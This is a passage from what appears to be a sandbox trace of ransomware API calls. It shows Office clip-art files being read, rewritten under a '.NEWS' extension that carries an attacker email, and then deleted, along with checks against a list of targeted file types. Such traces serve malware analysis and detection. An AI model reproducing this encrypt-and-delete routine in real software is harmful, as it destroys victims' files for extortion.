lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xc060, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xc060, lpOverlapped=0x0) returned 1 [0185.670] ReadFile (in: hFile=0x450, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0185.670] WriteFile (in: hFile=0x51c, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0185.671] SetEndOfFile (hFile=0x51c) returned 1 [0185.671] CloseHandle (hObject=0x51c) returned 1 [0185.671] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.671] SetEndOfFile (hFile=0x450) returned 1 [0185.675] CloseHandle (hObject=0x450) returned 1 [0185.676] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0186.810] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg")) returned 1 [0187.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0187.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0187.338] lstrlenW (lpString=".doc") returned 4 [0187.338] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0187.338] lstrlenW (lpString=".docx") returned 5 [0187.338] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0187.338] lstrlenW (lpString=".pdf") returned 4 [0187.338] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0187.338] lstrlenW (lpString=".xls") returned 4 [0187.338] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0187.338] lstrlenW (lpString=".xlsx") returned 5 [0187.338] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0187.338] lstrlenW (lpString=".ppt") returned 4 [0187.338] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0187.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0187.338] lstrlenW (lpString=".zip") returned 4 [0187.338] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0187.338] lstrlenW (lpString=".rar") returned 4 [0187.339] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0187.339] lstrlenW (lpString=".bz2") returned 4 [0187.339] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0187.339] lstrlenW (lpString=".7z") returned 3 [0187.339] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0187.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0187.339] lstrlenW (lpString=".dbf") returned 4 [0187.339] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0187.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0187.339] lstrlenW (lpString=".1cd") returned 4 [0187.339] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0187.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0187.339] lstrlenW (lpString=".jpg") returned 4 [0187.339] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0187.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0187.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0187.339] lstrlenW (lpString=".doc") returned 4 [0187.339] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0187.339] lstrlenW (lpString=".docx") returned 5 [0187.339] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0187.339] lstrlenW (lpString=".pdf") returned 4 [0187.339] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0187.339] lstrlenW (lpString=".xls") returned 4 [0187.339] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0187.339] lstrlenW (lpString=".xlsx") returned 5 [0187.339] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0187.339] lstrlenW (lpString=".ppt") returned 4 [0187.339] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0187.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0187.339] lstrlenW (lpString=".zip") returned 4 [0187.339] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0187.339] lstrlenW (lpString=".rar") returned 4 [0187.339] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0187.339] lstrlenW (lpString=".bz2") returned 4 [0187.340] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0187.340] lstrlenW (lpString=".7z") returned 3 [0187.340] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0187.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0187.340] lstrlenW (lpString=".dbf") returned 4 [0187.340] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0187.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0187.340] lstrlenW (lpString=".1cd") returned 4 [0187.340] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0187.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0187.340] lstrlenW (lpString=".jpg") returned 4 [0187.340] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0187.340] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0187.340] lstrlenW (lpString="J0150150.WMF") returned 12 [0187.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150150.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0187.341] GetFileSizeEx (in: hFile=0x46c, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=46404) returned 1 [0187.341] CloseHandle (hObject=0x46c) returned 1 [0187.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150150.wmf")) returned 0x220 [0187.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150150.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0187.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150150.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0187.342] SetFilePointerEx (in: hFile=0x46c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.342] SetFilePointerEx (in: hFile=0x46c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150150.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578 [0187.343] GetLastError () returned 0x0 [0187.343] ReadFile (in: hFile=0x46c, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0xb544, lpOverlapped=0x0) returned 1 [0187.346] WriteFile (in: hFile=0x578, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xb550, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xb550, lpOverlapped=0x0) returned 1 [0187.347] ReadFile (in: hFile=0x46c, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0187.347] WriteFile (in: hFile=0x578, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0187.348] SetEndOfFile (hFile=0x578) returned 1 [0187.348] CloseHandle (hObject=0x578) returned 1 [0187.348] SetFilePointerEx (in: hFile=0x46c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.348] SetEndOfFile (hFile=0x46c) returned 1 [0187.351] CloseHandle (hObject=0x46c) returned 1 [0187.352] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0187.352] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150150.wmf")) returned 1 [0187.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0187.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0187.353] lstrlenW (lpString=".doc") returned 4 [0187.353] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.353] lstrlenW (lpString=".docx") returned 5 [0187.353] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0187.353] lstrlenW (lpString=".pdf") returned 4 [0187.353] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.353] lstrlenW (lpString=".xls") returned 4 [0187.353] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.353] lstrlenW (lpString=".xlsx") returned 5 [0187.353] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0187.353] lstrlenW (lpString=".ppt") returned 4 [0187.353] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0187.353] lstrlenW (lpString=".zip") returned 4 [0187.353] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.353] lstrlenW (lpString=".rar") returned 4 [0187.353] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.353] lstrlenW (lpString=".bz2") returned 4 [0187.353] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.353] lstrlenW (lpString=".7z") returned 3 [0187.353] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0187.354] lstrlenW (lpString=".dbf") returned 4 [0187.354] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0187.354] lstrlenW (lpString=".1cd") returned 4 [0187.354] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0187.354] lstrlenW (lpString=".jpg") returned 4 [0187.354] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0187.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0187.354] lstrlenW (lpString=".doc") returned 4 [0187.354] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.354] lstrlenW (lpString=".docx") returned 5 [0187.354] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0187.354] lstrlenW (lpString=".pdf") returned 4 [0187.354] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.354] lstrlenW (lpString=".xls") returned 4 [0187.354] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.354] lstrlenW (lpString=".xlsx") returned 5 [0187.354] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0187.354] lstrlenW (lpString=".ppt") returned 4 [0187.354] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0187.354] lstrlenW (lpString=".zip") returned 4 [0187.354] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.354] lstrlenW (lpString=".rar") returned 4 [0187.354] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.355] lstrlenW (lpString=".bz2") returned 4 [0187.355] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.355] lstrlenW (lpString=".7z") returned 3 [0187.355] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0187.355] lstrlenW (lpString=".dbf") returned 4 [0187.355] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0187.355] lstrlenW (lpString=".1cd") returned 4 [0187.355] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0187.355] lstrlenW (lpString=".jpg") returned 4 [0187.355] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.355] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0187.355] lstrlenW (lpString="J0150861.WMF") returned 12 [0187.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150861.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0187.356] GetFileSizeEx (in: hFile=0x46c, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=8494) returned 1 [0187.356] CloseHandle (hObject=0x46c) returned 1 [0187.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150861.wmf")) returned 0x220 [0187.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150861.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0187.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150861.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0187.356] SetFilePointerEx (in: hFile=0x46c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.356] SetFilePointerEx (in: hFile=0x46c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150861.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578 [0187.359] GetLastError () returned 0x0 [0187.359] ReadFile (in: hFile=0x46c, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x212e, lpOverlapped=0x0) returned 1 [0187.360] WriteFile (in: hFile=0x578, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x2130, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x2130, lpOverlapped=0x0) returned 1 [0187.361] ReadFile (in: hFile=0x46c, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0187.361] WriteFile (in: hFile=0x578, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0187.361] SetEndOfFile (hFile=0x578) returned 1 [0187.362] CloseHandle (hObject=0x578) returned 1 [0187.362] SetFilePointerEx (in: hFile=0x46c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.362] SetEndOfFile (hFile=0x46c) returned 1 [0187.364] CloseHandle (hObject=0x46c) returned 1 [0187.364] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0187.365] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150861.wmf")) returned 1 [0187.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0187.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0187.365] lstrlenW (lpString=".doc") returned 4 [0187.365] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.365] lstrlenW (lpString=".docx") returned 5 [0187.365] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0187.366] lstrlenW (lpString=".pdf") returned 4 [0187.366] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.366] lstrlenW (lpString=".xls") returned 4 [0187.366] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.366] lstrlenW (lpString=".xlsx") returned 5 [0187.366] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0187.366] lstrlenW (lpString=".ppt") returned 4 [0187.366] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0187.366] lstrlenW (lpString=".zip") returned 4 [0187.366] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.366] lstrlenW (lpString=".rar") returned 4 [0187.366] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.366] lstrlenW (lpString=".bz2") returned 4 [0187.366] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.366] lstrlenW (lpString=".7z") returned 3 [0187.366] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0187.366] lstrlenW (lpString=".dbf") returned 4 [0187.366] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0187.366] lstrlenW (lpString=".1cd") returned 4 [0187.366] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0187.366] lstrlenW (lpString=".jpg") returned 4 [0187.366] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0187.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0187.366] lstrlenW (lpString=".doc") returned 4 [0187.366] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.366] lstrlenW (lpString=".docx") returned 5 [0187.366] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0187.366] lstrlenW (lpString=".pdf") returned 4 [0187.366] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.366] lstrlenW (lpString=".xls") returned 4 [0187.367] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.367] lstrlenW (lpString=".xlsx") returned 5 [0187.367] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0187.367] lstrlenW (lpString=".ppt") returned 4 [0187.367] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0187.367] lstrlenW (lpString=".zip") returned 4 [0187.367] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.367] lstrlenW (lpString=".rar") returned 4 [0187.367] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.367] lstrlenW (lpString=".bz2") returned 4 [0187.367] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.367] lstrlenW (lpString=".7z") returned 3 [0187.367] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0187.367] lstrlenW (lpString=".dbf") returned 4 [0187.367] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0187.367] lstrlenW (lpString=".1cd") returned 4 [0187.367] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0187.367] lstrlenW (lpString=".jpg") returned 4 [0187.367] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.367] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0187.367] lstrlenW (lpString="J0151041.WMF") returned 12 [0187.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151041.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0187.368] GetFileSizeEx (in: hFile=0x46c, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=4356) returned 1 [0187.368] CloseHandle (hObject=0x46c) returned 1 [0187.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151041.wmf")) returned 0x220 [0187.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151041.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0187.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151041.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0187.369] SetFilePointerEx (in: hFile=0x46c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.369] SetFilePointerEx (in: hFile=0x46c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151041.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578 [0187.537] GetLastError () returned 0x0 [0187.537] ReadFile (in: hFile=0x46c, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x1104, lpOverlapped=0x0) returned 1 [0187.539] WriteFile (in: hFile=0x578, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x1110, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x1110, lpOverlapped=0x0) returned 1 [0187.540] ReadFile (in: hFile=0x46c, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, 